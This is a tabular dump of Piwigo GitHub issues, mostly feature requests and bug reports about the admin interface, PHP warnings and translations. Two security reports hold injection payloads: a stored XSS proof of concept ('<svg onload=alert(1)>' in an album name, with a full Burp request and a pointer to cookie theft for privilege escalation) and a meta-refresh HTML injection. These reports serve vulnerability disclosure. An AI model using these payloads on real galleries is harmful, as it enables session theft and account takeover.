issue_owner_repo
listlengths 2
2
| issue_body
stringlengths 0
261k
⌀ | issue_title
stringlengths 1
925
| issue_comments_url
stringlengths 56
81
| issue_comments_count
int64 0
2.5k
| issue_created_at
stringlengths 20
20
| issue_updated_at
stringlengths 20
20
| issue_html_url
stringlengths 37
62
| issue_github_id
int64 387k
2.46B
| issue_number
int64 1
127k
|
---|---|---|---|---|---|---|---|---|---|
[
"Piwigo",
"Piwigo"
] |
# Feature Request
Add a shuffle feature to the slideshow to shuffle pics/vids across current scope (gallery/album/sub-album)
## Use case
Images not particularly ordered, but want to see them all. Would be useful for screensavers, animated wallpapers, not viewing the same order of pics over and over
## Suggested implementations
Probably similar to the `Random.php` stuff but across the current scope - gallery/album/sub-album
|
[Feature Request] Random/Shuffle Slideshow order
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1647/comments
| 2 |
2022-04-06T22:53:24Z
|
2024-05-10T11:57:45Z
|
https://github.com/Piwigo/Piwigo/issues/1647
| 1,195,273,222 | 1,647 |
[
"Piwigo",
"Piwigo"
] |

It has been fixed for modus, to be fixed for bootstrap darkroom
|
misaligned icon to remove a tag in a combined tags search (bootstrap darkroom)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1646/comments
| 0 |
2022-04-06T08:37:35Z
|
2022-04-06T08:38:38Z
|
https://github.com/Piwigo/Piwigo/issues/1646
| 1,194,270,050 | 1,646 |
[
"Piwigo",
"Piwigo"
] |
On the Maintenance page in 13.0.0beta1, the "Purge Sessions" button text is too large compared to the other buttons on the page.

|
13.0.0beta1: "Purge Sessions" button text too large on Maintenance page
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1645/comments
| 2 |
2022-04-04T21:28:07Z
|
2022-07-27T16:49:42Z
|
https://github.com/Piwigo/Piwigo/issues/1645
| 1,192,334,080 | 1,645 |
[
"Piwigo",
"Piwigo"
] |
I use exclusively locally synchronized photos (I don't "upload" them). In Piwigo 13 my photos are showing up as "orphaned" on the Photo Details page under the Linked Albums section:

The photo is _not_ an orphan since it exists in a physical album. And oddly, if I try to use the "With no album (Orphans)" filter in Batch Manager, no photos are listed (which is what I would expect):

|
13.0.0beta1: synced photos show as "orphan"
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1644/comments
| 2 |
2022-04-04T21:25:13Z
|
2022-09-21T12:20:18Z
|
https://github.com/Piwigo/Piwigo/issues/1644
| 1,192,331,651 | 1,644 |
[
"Piwigo",
"Piwigo"
] |
See https://piwigo.org/forum/post.php?tid=31967
After upgrading to 13.0.0beta1 and visiting the "Check for Updates" tab under Plugins I get this:
`Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "file:/usr/local/piwigo-beta/admin/themes/default/template/updates_ext.tpl" on line 212 "{/foreach}" unclosed {if} tag <-- thrown in /usr/local/piwigo-beta/include/smarty/libs/sysplugins/smarty_internal_templatecompilerbase.php on line 212
`
It looks like there's a missing `{/if}` in admin/themes/default/template/updates_ext.tpl that needs to go with `{if $isWebmaster == 1}` on line 165. I just added it to the end of the file and that let the page load without error.
|
13.0.0beta1: syntax error in template file (updates_ext.tpl)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1643/comments
| 2 |
2022-04-04T21:16:17Z
|
2022-09-28T12:24:43Z
|
https://github.com/Piwigo/Piwigo/issues/1643
| 1,192,323,505 | 1,643 |
[
"Piwigo",
"Piwigo"
] |
Hello, I'm currently trying to get Piwigo working on my local computer.
Apache2 server on Ubuntu 21.10, PHP 8.0.8 (if this issue is caused due to PHP 8, I'm very sorry, but I couldn't find a not that Piwigo doesn't run on PHP 8), Piwigo 12.2.0, downloaded from your website.
Apache's error log says:
```
[php:error] [pid 38291] [client 127.0.0.1:50680] PHP Fatal error: Uncaught TypeError: fputs(): Argument #1 ($stream) must be of type resource, bool given in install.php:328\nStack trace:\n#0 install.php(328): fputs()\n#1 {main}\n thrown in install.php on line 328, referer: http://localhost/install.php
```
This app looks very nice, thanks for the effort!
|
Can't run installation
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1642/comments
| 6 |
2022-04-04T14:06:30Z
|
2024-05-29T02:57:27Z
|
https://github.com/Piwigo/Piwigo/issues/1642
| 1,191,848,268 | 1,642 |
[
"Piwigo",
"Piwigo"
] |
In Piwigo 12 (and earlier) the `admin_theme` (roma/clear = dark/light) is related to the global configuration, meaning all administrators use the same administration theme. We need to move this parameter to the user.
|
make dark mode related to user instead of global configuration
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1641/comments
| 0 |
2022-03-31T16:22:15Z
|
2022-03-31T16:23:53Z
|
https://github.com/Piwigo/Piwigo/issues/1641
| 1,188,334,864 | 1,641 |
[
"Piwigo",
"Piwigo"
] |
In administration, switching from light to dark mode updates the global configuration setting `admin_theme`, meaning all administrators have dark OR light mode. If you have several administrators, they must share the same color scheme. Not good.
Still in the administration, in the user manager, you can switch between compact/tile/line views. The value is stored in a cookie. This time the setting can be different for each user BUT it's lost when the cookie expires and you lose it if you use another computer. Better, but still not good.
To have the best of both situations, we need the setting to be a user setting, stored in the database. We already have some, like `user_infos.show_nb_hits` or `user_infos.recent_period`. The drawback is that we need to create a new column in `user_infos` for each setting. It can become a mess considering plugins would also like to use this possibility.
I suggest we add a new column `user_infos.preferences` which would store a serialized array of preferences. It would be more flexible and usable by plugins. In addition to the table column, we would need dedicated function `userprefs_get_param`, `userprefs_update_param`, `userprefs_delete_param` (just like the `conf_get_param` functions for the global configuration).
|
user preferences
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1640/comments
| 0 |
2022-03-29T13:46:39Z
|
2022-03-31T16:24:10Z
|
https://github.com/Piwigo/Piwigo/issues/1640
| 1,184,901,547 | 1,640 |
[
"Piwigo",
"Piwigo"
] |
hi
here is the add update of the activity french language administrator : $lang['User activity logs'] = "Journaux d/'activité des utilisateurs";
thanks
https://github.com/Piwigo/Piwigo/pull/1638 activity french language administrator
|
activity french language administrator update
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1639/comments
| 0 |
2022-03-26T11:10:05Z
|
2022-09-23T21:36:37Z
|
https://github.com/Piwigo/Piwigo/issues/1639
| 1,181,674,418 | 1,639 |
[
"Piwigo",
"Piwigo"
] |
In the batch manager, if you check the "whole set", the action might be applied to more (or less) photos than you expect. For example, if your set is the caddie, if you modify the caddie content in another web browser tab, then the action will be applied to the caddie and not to the photos you see on the page.
Solution: always provide the list of image_ids you want the action to be applied on.
|
batch manager, whole set can lead to unexpected photos
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1636/comments
| 0 |
2022-03-23T18:19:30Z
|
2023-10-18T11:58:04Z
|
https://github.com/Piwigo/Piwigo/issues/1636
| 1,178,496,989 | 1,636 |
[
"Piwigo",
"Piwigo"
] |
This issue was reported and discussed in the Piwigo Forum, [raised by user svenran15](https://piwigo.org/forum/viewtopic.php?id=31869)
svenran15 reports a 'fix' by turning off manual sort order, but another user needs to keep that setting 'on'.
In the Forum discussion, user erAck suggests:
> The code at [https://github.com/Piwigo/Piwigo/blob/6 … l.php#L690](https://github.com/Piwigo/Piwigo/blob/68e5901d7271335979f7ae49c77dd986427047c3/admin/batch_manager_global.php#L690) and following doesn't seem to be prepared for the case that the batch is not a category but $conf['order_by'] contains a sort order on rank. Only the piwigo_image_category table has a rank column, piwigo_images does not.
|
mysql error 1054 accessing Recent, Batch and Basket tabs
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1635/comments
| 4 |
2022-03-22T15:39:13Z
|
2022-09-28T12:26:37Z
|
https://github.com/Piwigo/Piwigo/issues/1635
| 1,176,973,861 | 1,635 |
[
"Piwigo",
"Piwigo"
] |
Javascript error among strings in Polish.
|
[Groups Manager] can't manage members in Polish
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1634/comments
| 0 |
2022-03-21T12:35:44Z
|
2022-03-21T12:37:37Z
|
https://github.com/Piwigo/Piwigo/issues/1634
| 1,175,321,563 | 1,634 |
[
"Piwigo",
"Piwigo"
] |
hello,
this error
https://github.com/klaoun/Piwigo/commit/d2cd8efeb077ffcf2f904a4d1753113927c23e88
Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "file:./admin/themes/default/template/updates_ext.tpl" on line 212 "{/foreach}" unclosed {if} tag <-- thrown in ../include/smarty/libs/sysplugins/smarty_internal_templatecompilerbase.php on line 212
Environnement
piwigo master (16 march 2022)
|
Error page update plugins
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1632/comments
| 1 |
2022-03-19T12:02:05Z
|
2022-04-11T23:44:38Z
|
https://github.com/Piwigo/Piwigo/issues/1632
| 1,174,249,710 | 1,632 |
[
"Piwigo",
"Piwigo"
] |
Hello, recently, i have found a potential security issue. Please tell me where is the best place to disclose my findings, thanks
|
Security Report
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1631/comments
| 2 |
2022-03-19T02:54:53Z
|
2023-07-07T13:55:54Z
|
https://github.com/Piwigo/Piwigo/issues/1631
| 1,174,153,481 | 1,631 |
[
"Piwigo",
"Piwigo"
] |
- [x] Open photo edit in a new page
- [x] Hover to add user or IP as a filter only when hover the text, not on the div containing the text
- [x] Equalize the margins
|
[Tools/History/Search] Adjustments for the history page
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1629/comments
| 0 |
2022-03-14T11:27:30Z
|
2022-03-23T13:32:36Z
|
https://github.com/Piwigo/Piwigo/issues/1629
| 1,168,240,928 | 1,629 |
[
"Piwigo",
"Piwigo"
] |

We obviously have a dark mode problem here : Border is too light and Title is too dark.
|
[Application page] Unfinished dark mode
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1628/comments
| 0 |
2022-03-14T08:45:48Z
|
2022-06-30T13:47:49Z
|
https://github.com/Piwigo/Piwigo/issues/1628
| 1,168,060,341 | 1,628 |
[
"Piwigo",
"Piwigo"
] |
Hi,
## Description
Album category name reflects in `<title>` and the `<meta>` tag, Meta content can be manipulated with the album category name, Follow up the step to reproduce for more.
## Step to reproduce
1. Log in as Admin
2. Navigate to [http://10.xx.xx.xx/piwigo/admin.php?page=cat_list](http://10.xx.xx.xx/piwigo/admin.php?page=cat_list)
3. Click `Add Album` and input album name `2" http-equiv="refresh">` click on create button.
4. Then click [Visit The Gallery](http://10.xx.xx.xx/piwigo/index.php?/category/10)
5. It will take to the album category page
6. Every 2 seconds it will be refreshed because of this HTML Injection.
## Possible area for this injection
https://github.com/Piwigo/Piwigo/blob/1fce0f7c97d2f10f4b78798266e0db60e5e9e999/themes/default/template/header.tpl#L17-L21
## Attachment



|
HTML Injection in Meta description tag in version 12.2.0
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1627/comments
| 0 |
2022-03-12T08:22:23Z
|
2022-03-12T08:22:23Z
|
https://github.com/Piwigo/Piwigo/issues/1627
| 1,167,220,782 | 1,627 |
[
"Piwigo",
"Piwigo"
] |
Hello everyone, I think I saw an error in piwigo master.
this error shows up in user activity.
This error has for prefix $prefixetable=piwigo_ and if the prefix is $prefixetable=piwigotest_ it does not link to mysql.
Current environment:
[Piwigo] master last (9 march 2022) and [13beta1] now
|
[13.0.0beta1] : Error user activity
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1626/comments
| 2 |
2022-03-09T18:41:57Z
|
2022-09-28T15:10:52Z
|
https://github.com/Piwigo/Piwigo/issues/1626
| 1,164,306,212 | 1,626 |
[
"Piwigo",
"Piwigo"
] |
I suggest adding a way to identify which page in the gallery is displayed. Like adding a class to the body that uses the type and id of the page displayed. For example "category-21", "tag-16", "recent-pics"...
This will allow these pages to be identified via the css when customizing a gallery.
|
Add a way to identify which page is displayed
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1625/comments
| 0 |
2022-03-09T15:32:35Z
|
2022-04-06T07:56:37Z
|
https://github.com/Piwigo/Piwigo/issues/1625
| 1,164,098,528 | 1,625 |
[
"Piwigo",
"Piwigo"
] |

Triangle misaligned
|
Alignment problem with group dropdown
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1624/comments
| 0 |
2022-03-09T10:32:07Z
|
2022-03-09T10:35:26Z
|
https://github.com/Piwigo/Piwigo/issues/1624
| 1,163,761,388 | 1,624 |
[
"Piwigo",
"Piwigo"
] |
I gone add this as bug report as it seems no follow-up from forum and not able to find in bug-list/issue (also not closed).
There seems to be a problem with upload of photos from the Admin, Photos, Add, Web Form;
It's also described on the forum under https://piwigo.org/forum/viewtopic.php?id=31853
It was fixed however for the Bootstrap Darkroom 2.5.2 but I do not use this, just the plain Admin theme from Piwigo 12.2.0.
Description:
After upload photo from the Admin page under Photos, Add, Web Form it does report "1 photos uploaded" and also mention the total photos in the album, like Album "xxx" now contains 295 photos. However if I check the album itself it show: "xxx" [294] (not the 295 as expected). Also the photo is not in the album. If I open the photo itself it is NOT linked to any album. However after some time (I waited 10 minutes but could be less) the photo is in the album and also linked. Seems this process is not on the fly as used to be...
I understand there was a change in behaviour but this is not really desired, when it reports the photo is uploaded it should not take ages to get processed. At least this was not the case with the previous version of Piwigo version 11.5.0.
Current environment:
[Piwigo] 12.2.0
Operating system: Linux
PHP: 7.4.16 [2022-03-08 09:58:11]
MySQL: 8.0.27-0ubuntu0.21.04.1 [2022-03-08 09:58:11]
Graphics Library: External ImageMagick 6.9.11-60
|
[Admin] After Upload from Web Form it takes ages to get into Album
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1622/comments
| 1 |
2022-03-08T09:09:19Z
|
2022-05-23T07:52:00Z
|
https://github.com/Piwigo/Piwigo/issues/1622
| 1,162,401,718 | 1,622 |
[
"Piwigo",
"Piwigo"
] |
I want to use piwogo for a multi user gallery.
Maybe need a user management panel for normal user use to admin photos and gallery, instead of community plugin.
|
User management panel
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1621/comments
| 0 |
2022-03-07T13:16:05Z
|
2022-03-07T13:16:05Z
|
https://github.com/Piwigo/Piwigo/issues/1621
| 1,161,405,730 | 1,621 |
[
"Piwigo",
"Piwigo"
] |
Not sure how to recreate this, was present in the Errors.txt file:
`Undefined variable $row_height in /home1/behuntne/public_html/px/themes/smartpocket/themeconf.inc.php on line 61`
Piwigo: "curent version"
Themes (all current):
Modus (default)
Elegant
Smart Pocket
|
Error in SmartPocket theme
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1619/comments
| 3 |
2022-03-04T15:59:57Z
|
2022-06-26T21:10:14Z
|
https://github.com/Piwigo/Piwigo/issues/1619
| 1,159,797,007 | 1,619 |
[
"Piwigo",
"Piwigo"
] |
Multiple PHP errors displaying the "Manage Users" page:
```
Warning: Undefined array key "pwg_user_manager_view" in /home1/behuntne/public_html/px/_data/templates_c/p6jhns^796622518ea2295250b82efe66c3b7a54ae27a2b_0.file.user_list.tpl.php on line 192
Warning: Undefined array key "pwg_user_manager_view" in /home1/behuntne/public_html/px/_data/templates_c/p6jhns^796622518ea2295250b82efe66c3b7a54ae27a2b_0.file.user_list.tpl.php on line 193
Warning: Undefined array key "pwg_user_manager_view" in /home1/behuntne/public_html/px/_data/templates_c/p6jhns^796622518ea2295250b82efe66c3b7a54ae27a2b_0.file.user_list.tpl.php on line 193
Warning: Undefined array key "pwg_user_manager_view" in /home1/behuntne/public_html/px/_data/templates_c/p6jhns^796622518ea2295250b82efe66c3b7a54ae27a2b_0.file.user_list.tpl.php on line 194
```
Piwigo: "current version"
Plugins (all current):
Admin Tools
LocalFiles Editor
Take a tour of Piwigo
Themes (all current):
Modus (default)
Elegant
Smart Pocket
|
Errors in Manage Users
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1618/comments
| 4 |
2022-03-04T15:54:49Z
|
2022-03-06T19:44:38Z
|
https://github.com/Piwigo/Piwigo/issues/1618
| 1,159,792,178 | 1,618 |
[
"Piwigo",
"Piwigo"
] |
Multiple PHP errors displaying the Album List Management page:
```
Warning: Undefined array key "pwg_album_manager_view" in /home1/behuntne/public_html/px/_data/templates_c/p6jhns^390d1bd123065e4cfb4981f88d57111ce32e5184_0.file.cat_list.tpl.php on line 55
Warning: Undefined array key "pwg_album_manager_view" in /home1/behuntne/public_html/px/_data/templates_c/p6jhns^390d1bd123065e4cfb4981f88d57111ce32e5184_0.file.cat_list.tpl.php on line 56
Warning: Undefined array key "pwg_album_manager_view" in /home1/behuntne/public_html/px/_data/templates_c/p6jhns^390d1bd123065e4cfb4981f88d57111ce32e5184_0.file.cat_list.tpl.php on line 57
Warning: Undefined array key "pwg_album_manager_view" in /home1/behuntne/public_html/px/_data/templates_c/p6jhns^390d1bd123065e4cfb4981f88d57111ce32e5184_0.file.cat_list.tpl.php on line 57
```
Piwigo: "current version"
plugins (all current)
Admin tools
LocalFiles Editor
Take a tour of Piwigo
Themes (all current):
Modus (default)
Elegant
Smart Pocket
|
Errors in Album List Management
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1617/comments
| 4 |
2022-03-04T15:47:49Z
|
2023-12-12T17:13:56Z
|
https://github.com/Piwigo/Piwigo/issues/1617
| 1,159,785,408 | 1,617 |
[
"Piwigo",
"Piwigo"
] |
If you use "manual sort order" in the default photos sort order, then batch manager will, most of the time, throw a "unknown column rank". The `rank` column must be used to sort photos only if we join with `image_category` table (which has the `rank` column...). The `$conf['order_by']` should not have any `rank` in it (from `admin/configuration.php`):
```
// there is no rank outside categories
if ( ($i = array_search('rank ASC', $order_by)) !== false)
{
unset($order_by[$i]);
}
```
BUT since `rank` became a reserved keyword in MySQL 8, Piwigo has added backticks to `rank` and of course, the search for `rank ASC` never works...
|
[12.x, batch manager] order by rank does not work
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1616/comments
| 0 |
2022-02-25T13:21:09Z
|
2022-02-25T13:22:45Z
|
https://github.com/Piwigo/Piwigo/issues/1616
| 1,150,438,912 | 1,616 |
[
"Piwigo",
"Piwigo"
] |
We decided to replace the current selectize inputs because they are causing severe performances problems when having tons of albums on the account.

Here is the new design we will work on.
|
[Photo Editor] Replace selectize inputs with better UI
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1614/comments
| 0 |
2022-02-23T15:24:09Z
|
2022-03-21T12:34:22Z
|
https://github.com/Piwigo/Piwigo/issues/1614
| 1,148,235,018 | 1,614 |
[
"Piwigo",
"Piwigo"
] |
I gone add this as bug report as it seems no follow-up from forum and not able to find in bug-list/issue (also not closed).
I notice I am missing the Extend templates under config menu, moving from 11.5.0 to 12.2.0 version. Suddenly this is by 'default' hidden. Why hide configurations by default? See also [Piwigo Forum](https://piwigo.org/forum/viewtopic.php?id=31850)
Should be solved with using the LocalFiles Editor and adding the following line in the Local config:
`$conf['show_template_in_side_menu'] = true;`
However, even if I use the default admin theme it's not working for me.
Currently running:
[Piwigo](https://piwigo.org/) 12.2.0
Operating system: Linux (Ubuntu)
PHP: 7.4.16 [2022-02-21 11:15:55]
MySQL: 8.0.27-0ubuntu0.21.04.1 [2022-02-21 11:15:55]
Graphics Library: External ImageMagick 6.9.11-60
|
[Config Menu] Extend templates default hidden - not able to enable
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1613/comments
| 3 |
2022-02-21T10:18:38Z
|
2022-05-23T07:51:23Z
|
https://github.com/Piwigo/Piwigo/issues/1613
| 1,145,596,482 | 1,613 |
[
"Piwigo",
"Piwigo"
] |
I gone add this as bug report as it seems no follow-up from forum and not able to find in bug-list/issue (also not closed).
When I'm in "edit mode" and enter more than 1 line of tags it will be difficult to 'see' all of them. The window just doesn't resize, even after saving, like it did with 11.5.0 version. See also [Piwigo forum](https://piwigo.org/forum/viewtopic.php?id=31871)
To solve this we need access to the admin theme as there is the problem:
admin/themes/default/theme.css
#action_add_tags .selectize-input.items.not-full.has-options.focus.input-active.dropdown-active, .selectize-input.items.not-full, .selectize-input.items.full {
height: auto !important;
}
Entering the above line with LocalFiles Editor in local/css/rules.css doesn't help (out of scope?).
I edited the admin/themes/default/theme.css myself and change the above line mentioned in the css.
|
[Admin Theme] Tags window to small with multiple tags
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1612/comments
| 2 |
2022-02-21T10:04:10Z
|
2024-03-01T16:16:50Z
|
https://github.com/Piwigo/Piwigo/issues/1612
| 1,145,576,427 | 1,612 |
[
"Piwigo",
"Piwigo"
] |
The methods `pwg.images.upload` returns the number of photos `nb_photos` in the category as an Integer or a String. From the tests I performed, it looks like the version 2.10.2 of the Piwigo server generally returns a string while the version 11.5 generally returns an Integer. As this seems not to be reproducible so I have recoded the iOS app to work with both types.
This prevents from using the same Decodable when using e.g. the Swift standard library. If this method could always return the same type (preferably Integer) in the future, that would help developers of third party apps.
|
[API] pwg.images.upload returns nb_photos as a String or an Integer
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1611/comments
| 0 |
2022-02-19T14:26:06Z
|
2022-02-19T14:26:06Z
|
https://github.com/Piwigo/Piwigo/issues/1611
| 1,144,727,047 | 1,611 |
[
"Piwigo",
"Piwigo"
] |
Bug on tooltip behavior.
Step to reproduce (on chrome) :
- Install Batch Downloader
- Install and set as default Bootstrap Darkroom
- Go to an album page
- Click on the download button
- Slide the mouse over the tooltip until the mouse is out of the tooltip
The tooltip should disappear, and click again on the button shouldn't work until page refresh.
|
Bug on switchbox.js (Tooltip behavior on album page)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1610/comments
| 1 |
2022-02-16T16:10:15Z
|
2022-02-17T10:09:28Z
|
https://github.com/Piwigo/Piwigo/issues/1610
| 1,140,257,729 | 1,610 |
[
"Piwigo",
"Piwigo"
] |
We decided that it would be great if we could move the albums and edit them in the same page would be great.
The objective here is to kind of merge the album manager into the album mover.

|
[Album Manager] full redesign (tree view)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1609/comments
| 0 |
2022-02-14T14:39:01Z
|
2022-06-06T14:38:05Z
|
https://github.com/Piwigo/Piwigo/issues/1609
| 1,137,398,921 | 1,609 |
[
"Piwigo",
"Piwigo"
] |
At the moment the tag edition in done right in the tag we edit. This is fine with classic tag names but if the tag name is too long it becomes annoying.
|
[Tag Manager] Move tag edition in a popin
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1607/comments
| 0 |
2022-02-07T10:34:27Z
|
2022-03-23T13:31:52Z
|
https://github.com/Piwigo/Piwigo/issues/1607
| 1,125,802,766 | 1,607 |
[
"Piwigo",
"Piwigo"
] |
> Deprecated: filter_var(): explicit use of FILTER_FLAG_SCHEME_REQUIRED and FILTER_FLAG_HOST_REQUIRED is deprecated in include/functions.inc.php on line 2196
|
[PHP 7.3] deprecatd FILTER_FLAG_SCHEME_REQUIRED and FILTER_FLAG_HOST_REQUIRED
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1606/comments
| 1 |
2022-02-03T14:59:53Z
|
2022-09-08T07:56:04Z
|
https://github.com/Piwigo/Piwigo/issues/1606
| 1,123,190,345 | 1,606 |
[
"Piwigo",
"Piwigo"
] |
Hi, I found Stored XSS in Piwigo version 12.2.0 (Not tested older versions).
**Proof Of Concept**:
1. Add an admin through webmaster's access.
2. Through the admin account open http://localhost/piwigo-12.2.0/piwigo/admin.php?page=cat_list
3. Add < svg onload=alert(1)> (Remove space) in the group name field.
Can use any malicious JS code, Now you can see XSS will pop-up.
**Impact:**
In this way admin can easily takeover webmaster's access using [this technique](https://github.com/R0B1NL1N/WebHacking101/blob/master/xss-reflected-steal-cookie.md).
**Burp:**
```
POST http://localhost/piwigo-12.2.0/piwigo/admin.php?page=cat_list
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 98
Content-Type: application/x-www-form-urlencoded
Cookie: pwg_id=lq5gpi2eacbfhhp9ckm0i60ee0; pwg_album_manager_view=tile; pwg_user_manager_view=line; PHPSESSID=hjg1fi2funadnubkkvb7381ede
Host: localhost
Origin: http://localhost
Referer: http://localhost/piwigo-12.2.0/piwigo/admin.php?page=cat_list
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
pwg_token=4feeb12539296772205ca90e39d382aa&virtual_name=%3Csvg+onload%3Dalert%281%29%3E&submitAdd=
```

Please fix the vulnerability & let me know :).
Thank You!
- [Chirag Artani](https://3rag.com/chirag-artani)
|
Piwigo-12.2.0 Vulnerable For Stored XSS Which Is Leading To Privilege Escalation
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1605/comments
| 3 |
2022-02-02T19:14:54Z
|
2022-07-05T16:00:16Z
|
https://github.com/Piwigo/Piwigo/issues/1605
| 1,122,294,432 | 1,605 |
[
"Piwigo",
"Piwigo"
] |
We have to remove the ```ws_activity_downloadLog``` method from the API, this needs to be done in the ```user_activity.php```.
|
[Activity page] Download logs API method has to be removed
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1604/comments
| 0 |
2022-02-02T13:29:24Z
|
2022-02-02T13:43:46Z
|
https://github.com/Piwigo/Piwigo/issues/1604
| 1,121,928,708 | 1,604 |
[
"Piwigo",
"Piwigo"
] |
If pictures have names with character '&', e.g: 'xxx&xxx.jpg', we can't get thumbnails for them.
The problem is in 'i.php', row 167:
> if ($pos=strpos($req, '&'))
> {
> $req = substr($req, 0, $pos);
> }
This code will cut the picture's link before '&', and cause error: 'Missing -';
**suggest solution:**
change the code to:
> if ($pos=strrpos($req, '&b='))
> {
> $req = substr($req, 0, $pos);
> }
> if ($pos=strrpos($req, '&ajaxload='))
> {
> $req = substr($req, 0, $pos);
> }
|
Pictures with '&' in name can't generate thumbnails
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1603/comments
| 0 |
2022-01-29T05:52:06Z
|
2022-01-29T05:52:06Z
|
https://github.com/Piwigo/Piwigo/issues/1603
| 1,118,040,348 | 1,603 |
[
"Piwigo",
"Piwigo"
] |
I have on premise Piwigo server
My environment is as follows:
Piwigo 12.2.0
Operating system: Linux
PHP: 7.4.26
MySQL: 5.5.5-10.3.28-MariaDB
Graphics Library: ImageMagick 6.9.12-31
Activated plugin list:
Admin Tools
Batch Downloader
Community
Extended Description
Language Switch
Look_like_gbo2
Show Photo Identifier
Tag Access Management
User Mass Register
The issue is on the Manage users page. When adding a user the admin got Missing parameters: pwg_token. I've found that this occurs on interface in Polish language. With English it doesn't occurs. Please see attached screenshots.


|
Missing parameters: pwg_token when adding new users - Piwigo 12.2.0
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1602/comments
| 18 |
2022-01-26T10:19:25Z
|
2022-10-11T09:22:38Z
|
https://github.com/Piwigo/Piwigo/issues/1602
| 1,114,852,328 | 1,602 |
[
"Piwigo",
"Piwigo"
] |
Instead of "Portraits", it would be nice to have a custom placeholder (depending on actual album names) in the search for an album.
|
[album search] custom placeholder
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1601/comments
| 0 |
2022-01-24T15:16:40Z
|
2022-01-24T15:18:01Z
|
https://github.com/Piwigo/Piwigo/issues/1601
| 1,112,780,347 | 1,601 |
[
"Piwigo",
"Piwigo"
] |
When you upload a set of photos, one might encounter an error and unfortunately Piwigo doesn't say anything about it (I'm sure it was reported at the end of upload in older versions). We need:
1. a summary at the end of upload where all files in error are listed
2. to save this summary somewhere in a log and show it in the maintenance page
|
keep a summary of errors during web upload
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1600/comments
| 0 |
2022-01-13T12:46:31Z
|
2022-01-13T12:46:31Z
|
https://github.com/Piwigo/Piwigo/issues/1600
| 1,101,671,446 | 1,600 |
[
"Piwigo",
"Piwigo"
] |
On this page, selectized inputs are not scrollable. If we have lots of Tags / Albums we are not able to see them all easily.
|
[Picture Modify] Selectized inputs are not scrollable
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1599/comments
| 0 |
2022-01-12T11:29:20Z
|
2022-06-30T13:48:27Z
|
https://github.com/Piwigo/Piwigo/issues/1599
| 1,100,229,597 | 1,599 |
[
"Piwigo",
"Piwigo"
] |
In admin/include/functions.php, the function create_tag does not escape the tag name.
There is a possibility that this function is used without escaping the tag name, in a plugin or in the core itself.
That would create a flaw for hackers, because it allows SQL injections.
|
create_tag function is not escaped (security issue)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1598/comments
| 0 |
2022-01-08T10:05:22Z
|
2022-01-08T10:05:22Z
|
https://github.com/Piwigo/Piwigo/issues/1598
| 1,096,889,193 | 1,598 |
[
"Piwigo",
"Piwigo"
] |
On page load all the filters are not displayed especially, the "Other" filter which appears when we change the filter (if there are missing or merged plugins).
Plus, the plugins displayed are the activated plugins (that's what we want) but the filter doesn't fit what we see.
Plus, we can't uninstall missing plugins (fixed)
|
[Plugin Manager] Plugin filters doesn't display properly with "Other" plugins
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1596/comments
| 0 |
2022-01-05T13:19:24Z
|
2022-06-30T13:48:56Z
|
https://github.com/Piwigo/Piwigo/issues/1596
| 1,094,342,996 | 1,596 |
[
"Piwigo",
"Piwigo"
] |
When the activity database has over 700k lines, the activity page crashed due to memory overload.
The solution would be to implement a pagination on the activity page. By default pages size are set to 100k, maybe we can allow the users to configure it.
100k lines are lines from DB not lines displayed.
|
[Activity Page] Big databases causes the page to crash
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1595/comments
| 1 |
2022-01-05T09:34:33Z
|
2022-03-02T11:11:59Z
|
https://github.com/Piwigo/Piwigo/issues/1595
